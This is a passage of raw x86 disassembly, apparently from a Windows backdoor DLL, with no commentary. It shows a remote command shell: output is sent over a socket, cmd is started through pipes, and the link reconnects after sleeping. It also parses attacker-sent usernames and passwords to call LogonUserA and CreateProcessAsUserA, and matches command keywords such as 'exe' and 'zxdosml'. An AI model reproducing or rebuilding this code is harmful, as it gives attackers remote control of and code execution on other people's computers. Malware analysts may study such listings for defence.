add dword [ebp - 0x5328], 1
cmp dword [ebp - 0x5320], 0
je 0x10003c47
mov eax, dword [ebp - 0x5324]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5328]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x532c], eax
jne 0x10003c53
sub dword [ebp - 0x5320], 1
add dword [ebp - 0x5324], 1
add dword [ebp - 0x5328], 1
cmp dword [ebp - 0x5320], 0
je 0x10003c47
mov ecx, dword [ebp - 0x5324]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5328]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x532c], ecx
jne 0x10003c53
mov dword [ebp - 0x5330], 0
jmp 0x10003c70
mov dword [ebp - 0x5330], 1
cmp dword [ebp - 0x532c], 0
jg 0x10003c70
mov dword [ebp - 0x5330], 0xffffffff
mov edx, dword [ebp - 0x5330]
mov dword [ebp - 0x5334], edx
cmp dword [ebp - 0x5334], 0
jne 0x100042ca
cmp dword [ebp - 0x1b0], 0
je 0x10003d87
mov eax, dword [str.cmd_success__n]
mov dword [0x10092828], eax
mov ecx, dword [0x1007d134]
mov dword [0x1009282c], ecx
mov edx, dword [0x1007d138]
mov dword [0x10092830], edx
mov ax, word [0x1007d13c]
mov word [0x10092834], ax
mov dword [ebp - 0x5338], 0x10092828
mov ecx, dword [ebp - 0x5338]
add ecx, 1
mov dword [ebp - 0x533c], ecx
mov edx, dword [ebp - 0x5338]
mov al, byte [edx]
mov byte [ebp - 0x533d], al
add dword [ebp - 0x5338], 1
cmp byte [ebp - 0x533d], 0
jne 0x10003cdd
mov ecx, dword [ebp - 0x5338]
sub ecx, dword [ebp - 0x533c]
mov dword [ebp - 0x5344], ecx
mov edx, dword [ebp - 0x5344]
push edx
push 0x10092828
mov eax, dword [0x1008e814]
push eax
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x10003d82
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028a40
add esp, 4
push 0
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_shutdown
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028640
add esp, 4
mov edx, dword [0x1008c70c]
push edx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
jmp 0x100037a1
push 0
lea eax, [ebp - 0x2f0]
push eax
push 0x10090818
push 0x10092824
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10003ea5
mov ecx, dword [str.create_pipe_error__n]
mov dword [0x10092828], ecx
mov edx, dword [0x1007d144]
mov dword [0x1009282c], edx
mov eax, dword [0x1007d148]
mov dword [0x10092830], eax
mov ecx, dword [0x1007d14c]
mov dword [0x10092834], ecx
mov edx, dword [0x1007d150]
mov dword [0x10092838], edx
mov dword [ebp - 0x5348], 0x10092828
mov eax, dword [ebp - 0x5348]
add eax, 1
mov dword [ebp - 0x534c], eax
mov ecx, dword [ebp - 0x5348]
mov dl, byte [ecx]
mov byte [ebp - 0x534d], dl
add dword [ebp - 0x5348], 1
cmp byte [ebp - 0x534d], 0
jne 0x10003dfb
mov eax, dword [ebp - 0x5348]
sub eax, dword [ebp - 0x534c]
mov dword [ebp - 0x5354], eax
mov ecx, dword [ebp - 0x5354]
push ecx
push 0x10092828
mov edx, dword [0x1008e814]
push edx
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x10003ea0
mov eax, dword [0x1008e814]
push eax
call fcn.10028a40
add esp, 4
push 0
mov ecx, dword [0x10096828]
push ecx
call sub.WS2_32.dll_shutdown
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_closesocket
mov eax, dword [0x1008e814]
push eax
call fcn.10028640
add esp, 4
mov ecx, dword [0x1008c70c]
push ecx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
jmp 0x100037a1
push 0
lea edx, [ebp - 0x2f0]
push edx
push 0x1008c704
push 0x1008c700
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10003fda
mov eax, dword [0x10092824]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10090818]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [str.create_pipe_error__n]
mov dword [0x10092828], edx
mov eax, dword [0x1007d144]
mov dword [0x1009282c], eax
mov ecx, dword [0x1007d148]
mov dword [0x10092830], ecx
mov edx, dword [0x1007d14c]
mov dword [0x10092834], edx
mov eax, dword [0x1007d150]
mov dword [0x10092838], eax
mov dword [ebp - 0x5358], 0x10092828
mov ecx, dword [ebp - 0x5358]
add ecx, 1
mov dword [ebp - 0x535c], ecx
mov edx, dword [ebp - 0x5358]
mov al, byte [edx]
mov byte [ebp - 0x535d], al
add dword [ebp - 0x5358], 1
cmp byte [ebp - 0x535d], 0
jne 0x10003f30
mov ecx, dword [ebp - 0x5358]
sub ecx, dword [ebp - 0x535c]
mov dword [ebp - 0x5364], ecx
mov edx, dword [ebp - 0x5364]
push edx
push 0x10092828
mov eax, dword [0x1008e814]
push eax
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x10003fd5
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028a40
add esp, 4
push 0
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_shutdown
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028640
add esp, 4
mov edx, dword [0x1008c70c]
push edx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
jmp 0x100037a1
push 0x44
push 0
lea eax, [ebp - 0x3144]
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x3144]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 0x3144], 0x44
mov dword [ebp - 0x3118], 0x101
mov word [ebp - 0x3114], 0
mov edx, dword [0x1008c704]
mov dword [ebp - 0x3104], edx
mov eax, dword [0x10092824]
mov dword [ebp - 0x310c], eax
mov ecx, dword [0x1008c704]
mov dword [ebp - 0x3108], ecx
lea edx, [ebp - 0x30f8]
push edx
lea eax, [ebp - 0x3144]
push eax
push 0
push 0
push 0x10
push 1
push 0
push 0
mov ecx, dword [ebp - 0x2e4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10004199
mov edx, dword [0x10092824]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10090818]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1008c704]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1008c700]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [str.create_pipe_error__n]
mov dword [0x10092828], eax
mov ecx, dword [0x1007d144]
mov dword [0x1009282c], ecx
mov edx, dword [0x1007d148]
mov dword [0x10092830], edx
mov eax, dword [0x1007d14c]
mov dword [0x10092834], eax
mov ecx, dword [0x1007d150]
mov dword [0x10092838], ecx
mov dword [ebp - 0x5368], 0x10092828
mov edx, dword [ebp - 0x5368]
add edx, 1
mov dword [ebp - 0x536c], edx
mov eax, dword [ebp - 0x5368]
mov cl, byte [eax]
mov byte [ebp - 0x536d], cl
add dword [ebp - 0x5368], 1
cmp byte [ebp - 0x536d], 0
jne 0x100040ef
mov edx, dword [ebp - 0x5368]
sub edx, dword [ebp - 0x536c]
mov dword [ebp - 0x5374], edx
mov eax, dword [ebp - 0x5374]
push eax
push 0x10092828
mov ecx, dword [0x1008e814]
push ecx
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x10004194
mov edx, dword [0x1008e814]
push edx
call fcn.10028a40
add esp, 4
push 0
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_shutdown
mov ecx, dword [0x10096828]
push ecx
call sub.WS2_32.dll_closesocket
mov edx, dword [0x1008e814]
push edx
call fcn.10028640
add esp, 4
mov eax, dword [0x1008c70c]
push eax
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
jmp 0x100037a1
lea ecx, [ebp - 0x2d4]
push ecx
push 0
push 0
push 0x10007660
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jne 0x100042c3
mov edx, dword [str.start_cmd_error__n]
mov dword [0x10092828], edx
mov eax, dword [0x1007d158]
mov dword [0x1009282c], eax
mov ecx, dword [0x1007d15c]
mov dword [0x10092830], ecx
mov edx, dword [0x1007d160]
mov dword [0x10092834], edx
mov ax, word [0x1007d164]
mov word [0x10092838], ax
mov dword [ebp - 0x5378], 0x10092828
mov ecx, dword [ebp - 0x5378]
add ecx, 1
mov dword [ebp - 0x537c], ecx
mov edx, dword [ebp - 0x5378]
mov al, byte [edx]
mov byte [ebp - 0x537d], al
add dword [ebp - 0x5378], 1
cmp byte [ebp - 0x537d], 0
jne 0x10004219
mov ecx, dword [ebp - 0x5378]
sub ecx, dword [ebp - 0x537c]
mov dword [ebp - 0x5384], ecx
mov edx, dword [ebp - 0x5384]
push edx
push 0x10092828
mov eax, dword [0x1008e814]
push eax
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x100042be
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028a40
add esp, 4
push 0
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_shutdown
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028640
add esp, 4
mov edx, dword [0x1008c70c]
push edx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
jmp 0x100037a1
mov byte [0x1009682e], 1
mov dword [ebp - 0x5388], 4
mov dword [ebp - 0x538c], str.exe
mov dword [ebp - 0x5390], 0x1008c710
jmp 0x10004311
mov eax, dword [ebp - 0x538c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x5390]
cmp dword [edx], ecx
jne 0x10004327
sub dword [ebp - 0x5388], 4
add dword [ebp - 0x538c], 4
add dword [ebp - 0x5390], 4
cmp dword [ebp - 0x5388], 4
jae 0x100042ea
cmp dword [ebp - 0x5388], 0
je 0x100043fd
mov eax, dword [ebp - 0x538c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5390]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x5394], eax
jne 0x10004409
sub dword [ebp - 0x5388], 1
add dword [ebp - 0x538c], 1
add dword [ebp - 0x5390], 1
cmp dword [ebp - 0x5388], 0
je 0x100043fd
mov ecx, dword [ebp - 0x538c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5390]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5394], ecx
jne 0x10004409
sub dword [ebp - 0x5388], 1
add dword [ebp - 0x538c], 1
add dword [ebp - 0x5390], 1
cmp dword [ebp - 0x5388], 0
je 0x100043fd
mov edx, dword [ebp - 0x538c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5390]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x5394], edx
jne 0x10004409
sub dword [ebp - 0x5388], 1
add dword [ebp - 0x538c], 1
add dword [ebp - 0x5390], 1
cmp dword [ebp - 0x5388], 0
je 0x100043fd
mov eax, dword [ebp - 0x538c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5390]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x5394], eax
jne 0x10004409
mov dword [ebp - 0x5398], 0
jmp 0x10004426
mov dword [ebp - 0x5398], 1
cmp dword [ebp - 0x5394], 0
jg 0x10004426
mov dword [ebp - 0x5398], 0xffffffff
mov ecx, dword [ebp - 0x5398]
mov dword [ebp - 0x539c], ecx
cmp dword [ebp - 0x539c], 0
jne 0x10004e4f
mov dword [ebp - 0x3150], 0
mov dword [ebp - 0x314c], 0
push 0x44
push 0
lea edx, [ebp - 0x31bc]
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [ebp - 0x31bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 0x31bc], 0x44
mov dword [ebp - 0x3190], 0x101
mov word [ebp - 0x318c], 0
push 0x14
call dword [sym.imp.MSVCR80.dll_malloc]
add esp, 4
mov dword [ebp - 0x3168], eax
push 0x14
call dword [sym.imp.MSVCR80.dll_malloc]
add esp, 4
mov dword [ebp - 0x3164], eax
push 0x14
call dword [sym.imp.MSVCR80.dll_malloc]
add esp, 4
mov dword [ebp - 0x3170], eax
push 0x32
call dword [sym.imp.MSVCR80.dll_malloc]
add esp, 4
mov dword [ebp - 0x3148], eax
push 0x64
call dword [sym.imp.MSVCR80.dll_malloc]
add esp, 4
mov dword [ebp - 0x31c8], eax
xor ecx, ecx
mov edx, dword [ebp - 0x3168]
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
xor eax, eax
mov ecx, dword [ebp - 0x3164]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
xor edx, edx
mov eax, dword [ebp - 0x3170]
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov dword [eax + 0xc], edx
mov dword [eax + 0x10], edx
push 0x32
push 0
mov ecx, dword [ebp - 0x3148]
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x64
push 0
mov edx, dword [ebp - 0x31c8]
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
mov dword [ebp - 0x53a0], 0x1008c710
mov eax, dword [ebp - 0x53a0]
add eax, 1
mov dword [ebp - 0x53a4], eax
mov ecx, dword [ebp - 0x53a0]
mov dl, byte [ecx]
mov byte [ebp - 0x53a5], dl
add dword [ebp - 0x53a0], 1
cmp byte [ebp - 0x53a5], 0
jne 0x10004566
mov eax, dword [ebp - 0x53a0]
sub eax, dword [ebp - 0x53a4]
mov dword [ebp - 0x53ac], eax
mov ecx, dword [ebp - 0x53ac]
sub ecx, 4
push ecx
push 0x1008c714
mov edx, dword [ebp - 0x31c8]
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
mov dword [ebp - 0x2d0], 0
jmp 0x100045d0
mov eax, dword [ebp - 0x2d0]
add eax, 1
mov dword [ebp - 0x2d0], eax
mov ecx, dword [ebp - 0x31c8]
mov dword [ebp - 0x53b0], ecx
mov edx, dword [ebp - 0x53b0]
add edx, 1
mov dword [ebp - 0x53b4], edx
mov eax, dword [ebp - 0x53b0]
mov cl, byte [eax]
mov byte [ebp - 0x53b5], cl
add dword [ebp - 0x53b0], 1
cmp byte [ebp - 0x53b5], 0
jne 0x100045eb
mov edx, dword [ebp - 0x53b0]
sub edx, dword [ebp - 0x53b4]
mov dword [ebp - 0x53bc], edx
mov eax, dword [ebp - 0x2d0]
cmp eax, dword [ebp - 0x53bc]
jge 0x10004662
mov ecx, dword [ebp - 0x31c8]
add ecx, dword [ebp - 0x2d0]
movsx edx, byte [ecx]
cmp edx, 0x2d
je 0x1000465b
mov eax, dword [ebp - 0x3168]
add eax, dword [ebp - 0x2d0]
mov ecx, dword [ebp - 0x31c8]
add ecx, dword [ebp - 0x2d0]
mov dl, byte [ecx]
mov byte [eax], dl
jmp 0x1000465d
jmp 0x10004662
jmp 0x100045c1
mov eax, dword [ebp - 0x2d0]
add eax, 1
mov dword [ebp - 0x31c4], eax
jmp 0x10004682
mov ecx, dword [ebp - 0x31c4]
add ecx, 1
mov dword [ebp - 0x31c4], ecx
mov edx, dword [ebp - 0x31c8]
mov dword [ebp - 0x53c0], edx
mov eax, dword [ebp - 0x53c0]
add eax, 1
mov dword [ebp - 0x53c4], eax
mov ecx, dword [ebp - 0x53c0]
mov dl, byte [ecx]
mov byte [ebp - 0x53c5], dl
add dword [ebp - 0x53c0], 1
cmp byte [ebp - 0x53c5], 0
jne 0x1000469d
mov eax, dword [ebp - 0x53c0]
sub eax, dword [ebp - 0x53c4]
mov dword [ebp - 0x53cc], eax
mov ecx, dword [ebp - 0x31c4]
cmp ecx, dword [ebp - 0x53cc]
jge 0x1000471c
mov edx, dword [ebp - 0x31c8]
add edx, dword [ebp - 0x31c4]
movsx eax, byte [edx]
cmp eax, 0x2d
je 0x10004715
mov ecx, dword [ebp - 0x31c4]
sub ecx, dword [ebp - 0x2d0]
mov edx, dword [ebp - 0x31c8]
add edx, dword [ebp - 0x31c4]
mov eax, dword [ebp - 0x3164]
mov dl, byte [edx]
mov byte [eax + ecx - 1], dl
jmp 0x10004717
jmp 0x1000471c
jmp 0x10004673
mov eax, dword [ebp - 0x31c4]
add eax, 1
mov dword [ebp - 0x316c], eax
jmp 0x1000473c
mov ecx, dword [ebp - 0x316c]
add ecx, 1
mov dword [ebp - 0x316c], ecx
mov edx, dword [ebp - 0x31c8]
mov dword [ebp - 0x53d0], edx
mov eax, dword [ebp - 0x53d0]
add eax, 1
mov dword [ebp - 0x53d4], eax
mov ecx, dword [ebp - 0x53d0]
mov dl, byte [ecx]
mov byte [ebp - 0x53d5], dl
add dword [ebp - 0x53d0], 1
cmp byte [ebp - 0x53d5], 0
jne 0x10004757
mov eax, dword [ebp - 0x53d0]
sub eax, dword [ebp - 0x53d4]
mov dword [ebp - 0x53dc], eax
mov ecx, dword [ebp - 0x316c]
cmp ecx, dword [ebp - 0x53dc]
jge 0x100047d6
mov edx, dword [ebp - 0x31c8]
add edx, dword [ebp - 0x316c]
movsx eax, byte [edx]
cmp eax, 0x2d
je 0x100047cf
mov ecx, dword [ebp - 0x316c]
sub ecx, dword [ebp - 0x31c4]
mov edx, dword [ebp - 0x31c8]
add edx, dword [ebp - 0x316c]
mov eax, dword [ebp - 0x3170]
mov dl, byte [edx]
mov byte [eax + ecx - 1], dl
jmp 0x100047d1
jmp 0x100047d6
jmp 0x1000472d
mov eax, dword [ebp - 0x316c]
add eax, 1
mov dword [ebp - 0x31c0], eax
jmp 0x100047f6
mov ecx, dword [ebp - 0x31c0]
add ecx, 1
mov dword [ebp - 0x31c0], ecx
mov edx, dword [ebp - 0x31c8]
mov dword [ebp - 0x53e0], edx
mov eax, dword [ebp - 0x53e0]
add eax, 1
mov dword [ebp - 0x53e4], eax
mov ecx, dword [ebp - 0x53e0]
mov dl, byte [ecx]
mov byte [ebp - 0x53e5], dl
add dword [ebp - 0x53e0], 1
cmp byte [ebp - 0x53e5], 0
jne 0x10004811
mov eax, dword [ebp - 0x53e0]
sub eax, dword [ebp - 0x53e4]
mov dword [ebp - 0x53ec], eax
mov ecx, dword [ebp - 0x31c0]
cmp ecx, dword [ebp - 0x53ec]
jge 0x10004878
mov edx, dword [ebp - 0x31c0]
sub edx, dword [ebp - 0x316c]
mov eax, dword [ebp - 0x31c8]
add eax, dword [ebp - 0x31c0]
mov ecx, dword [ebp - 0x3148]
mov al, byte [eax]
mov byte [ecx + edx - 1], al
jmp 0x100047e7
mov dword [ebp - 0x53f0], 4
mov dword [ebp - 0x53f4], str.NULL
mov ecx, dword [ebp - 0x3170]
mov dword [ebp - 0x53f8], ecx
jmp 0x100048c1
mov edx, dword [ebp - 0x53f4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x53f8]
cmp dword [ecx], eax
jne 0x100048d7
sub dword [ebp - 0x53f0], 4
add dword [ebp - 0x53f4], 4
add dword [ebp - 0x53f8], 4
cmp dword [ebp - 0x53f0], 4
jae 0x1000489a
cmp dword [ebp - 0x53f0], 0
je 0x100049ad
mov edx, dword [ebp - 0x53f4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x53f8]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x53fc], edx
jne 0x100049b9
sub dword [ebp - 0x53f0], 1
add dword [ebp - 0x53f4], 1
add dword [ebp - 0x53f8], 1
cmp dword [ebp - 0x53f0], 0
je 0x100049ad
mov eax, dword [ebp - 0x53f4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x53f8]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x53fc], eax
jne 0x100049b9
sub dword [ebp - 0x53f0], 1
add dword [ebp - 0x53f4], 1
add dword [ebp - 0x53f8], 1
cmp dword [ebp - 0x53f0], 0
je 0x100049ad
mov ecx, dword [ebp - 0x53f4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x53f8]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x53fc], ecx
jne 0x100049b9
sub dword [ebp - 0x53f0], 1
add dword [ebp - 0x53f4], 1
add dword [ebp - 0x53f8], 1
cmp dword [ebp - 0x53f0], 0
je 0x100049ad
mov edx, dword [ebp - 0x53f4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x53f8]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x53fc], edx
jne 0x100049b9
mov dword [ebp - 0x5400], 0
jmp 0x100049d6
mov dword [ebp - 0x5400], 1
cmp dword [ebp - 0x53fc], 0
jg 0x100049d6
mov dword [ebp - 0x5400], 0xffffffff
mov eax, dword [ebp - 0x5400]
mov dword [ebp - 0x5404], eax
cmp dword [ebp - 0x5404], 0
jne 0x10004a01
xor ecx, ecx
mov edx, dword [ebp - 0x3170]
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
mov dword [ebp - 0x5408], 4
mov dword [ebp - 0x540c], str.NULL
mov eax, dword [ebp - 0x3164]
mov dword [ebp - 0x5410], eax
jmp 0x10004a4a
mov ecx, dword [ebp - 0x540c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5410]
cmp dword [eax], edx
jne 0x10004a60
sub dword [ebp - 0x5408], 4
add dword [ebp - 0x540c], 4
add dword [ebp - 0x5410], 4
cmp dword [ebp - 0x5408], 4
jae 0x10004a23
cmp dword [ebp - 0x5408], 0
je 0x10004b36
mov ecx, dword [ebp - 0x540c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5410]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5414], ecx
jne 0x10004b42
sub dword [ebp - 0x5408], 1
add dword [ebp - 0x540c], 1
add dword [ebp - 0x5410], 1
cmp dword [ebp - 0x5408], 0
je 0x10004b36
mov edx, dword [ebp - 0x540c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5410]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x5414], edx
jne 0x10004b42
sub dword [ebp - 0x5408], 1
add dword [ebp - 0x540c], 1
add dword [ebp - 0x5410], 1
cmp dword [ebp - 0x5408], 0
je 0x10004b36
mov eax, dword [ebp - 0x540c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5410]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x5414], eax
jne 0x10004b42
sub dword [ebp - 0x5408], 1
add dword [ebp - 0x540c], 1
add dword [ebp - 0x5410], 1
cmp dword [ebp - 0x5408], 0
je 0x10004b36
mov ecx, dword [ebp - 0x540c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5410]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x5414], ecx
jne 0x10004b42
mov dword [ebp - 0x5418], 0
jmp 0x10004b5f
mov dword [ebp - 0x5418], 1
cmp dword [ebp - 0x5414], 0
jg 0x10004b5f
mov dword [ebp - 0x5418], 0xffffffff
mov edx, dword [ebp - 0x5418]
mov dword [ebp - 0x541c], edx
cmp dword [ebp - 0x541c], 0
jne 0x10004b8a
xor eax, eax
mov ecx, dword [ebp - 0x3164]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
lea edx, [ebp - 0x3150]
push edx
push 0
push 2
mov eax, dword [ebp - 0x3164]
push eax
mov ecx, dword [ebp - 0x3170]
push ecx
mov edx, dword [ebp - 0x3168]
push edx
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
mov dword [ebp - 0x314c], eax
mov eax, dword [ebp - 0x3168]
push eax
call dword [sym.imp.MSVCR80.dll_free]
add esp, 4
mov ecx, dword [ebp - 0x3164]
push ecx
call dword [sym.imp.MSVCR80.dll_free]
add esp, 4
mov edx, dword [ebp - 0x3170]
push edx
call dword [sym.imp.MSVCR80.dll_free]
add esp, 4
mov eax, dword [ebp - 0x31c8]
push eax
call dword [sym.imp.MSVCR80.dll_free]
add esp, 4
mov dword [ebp - 0x3168], 0
mov dword [ebp - 0x3164], 0
mov dword [ebp - 0x3170], 0
mov dword [ebp - 0x31c8], 0
cmp dword [ebp - 0x314c], 0
jne 0x10004d28
mov ecx, dword [str.Logon_user_err__n]
mov dword [0x10092828], ecx
mov edx, dword [0x1007d17c]
mov dword [0x1009282c], edx
mov eax, dword [0x1007d180]
mov dword [0x10092830], eax
mov ecx, dword [0x1007d184]
mov dword [0x10092834], ecx
mov dl, byte [0x1007d188]
mov byte [0x10092838], dl
mov dword [ebp - 0x5420], 0x10092828
mov eax, dword [ebp - 0x5420]
add eax, 1
mov dword [ebp - 0x5424], eax
mov ecx, dword [ebp - 0x5420]
mov dl, byte [ecx]
mov byte [ebp - 0x5425], dl
add dword [ebp - 0x5420], 1
cmp byte [ebp - 0x5425], 0
jne 0x10004c7e
mov eax, dword [ebp - 0x5420]
sub eax, dword [ebp - 0x5424]
mov dword [ebp - 0x542c], eax
mov ecx, dword [ebp - 0x542c]
push ecx
push 0x10092828
mov edx, dword [0x1008e814]
push edx
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x10004d23
mov eax, dword [0x1008e814]
push eax
call fcn.10028a40
add esp, 4
push 0
mov ecx, dword [0x10096828]
push ecx
call sub.WS2_32.dll_shutdown
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_closesocket
mov eax, dword [0x1008e814]
push eax
call fcn.10028640
add esp, 4
mov ecx, dword [0x1008c70c]
push ecx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
jmp 0x100037a1
lea edx, [ebp - 0x3160]
push edx
lea eax, [ebp - 0x31bc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x3148]
push ecx
push 0
mov edx, dword [ebp - 0x3150]
push edx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x10004e4f
mov eax, dword [str.execute_error__n]
mov dword [0x10092828], eax
mov ecx, dword [0x1007d190]
mov dword [0x1009282c], ecx
mov edx, dword [0x1007d194]
mov dword [0x10092830], edx
mov eax, dword [0x1007d198]
mov dword [0x10092834], eax
mov dword [ebp - 0x5430], 0x10092828
mov ecx, dword [ebp - 0x5430]
add ecx, 1
mov dword [ebp - 0x5434], ecx
mov edx, dword [ebp - 0x5430]
mov al, byte [edx]
mov byte [ebp - 0x5435], al
add dword [ebp - 0x5430], 1
cmp byte [ebp - 0x5435], 0
jne 0x10004da5
mov ecx, dword [ebp - 0x5430]
sub ecx, dword [ebp - 0x5434]
mov dword [ebp - 0x543c], ecx
mov edx, dword [ebp - 0x543c]
push edx
push 0x10092828
mov eax, dword [0x1008e814]
push eax
call fcn.100289d0
add esp, 0xc
cmp eax, 1
jge 0x10004e4a
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028a40
add esp, 4
push 0
mov edx, dword [0x10096828]
push edx
call sub.WS2_32.dll_shutdown
mov eax, dword [0x10096828]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x1008e814]
push ecx
call fcn.10028640
add esp, 4
mov edx, dword [0x1008c70c]
push edx
call fcn.100290c0
add esp, 4
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002e45
jmp 0x100037a1
mov dword [ebp - 0x5440], 7
mov dword [ebp - 0x5444], str.zxdosml
mov dword [ebp - 0x5448], 0x1008c710
jmp 0x10004e96
mov eax, dword [ebp - 0x5444]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x5448]
cmp dword [edx], ecx
jne 0x10004eac
sub dword [ebp - 0x5440], 4
add dword [ebp - 0x5444], 4
add dword [ebp - 0x5448], 4
cmp dword [ebp - 0x5440], 4
jae 0x10004e6f
cmp dword [ebp - 0x5440], 0
je 0x10004f82
mov eax, dword [ebp - 0x5444]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5448]
movzx eax, byte [edx]
sub eax, ecx
mov dword [ebp - 0x544c], eax
jne 0x10004f8e
sub dword [ebp - 0x5440], 1
add dword [ebp - 0x5444], 1
add dword [ebp - 0x5448], 1
cmp dword [ebp - 0x5440], 0
je 0x10004f82
mov ecx, dword [ebp - 0x5444]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5448]
movzx ecx, byte [eax]
sub ecx, edx
mov dword [ebp - 0x544c], ecx
jne 0x10004f8e
sub dword [ebp - 0x5440], 1
add dword [ebp - 0x5444], 1
add dword [ebp - 0x5448], 1
cmp dword [ebp - 0x5440], 0
je 0x10004f82
mov edx, dword [ebp - 0x5444]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5448]
movzx edx, byte [ecx]
sub edx, eax
mov dword [ebp - 0x544c], edx
jne 0x10004f8e
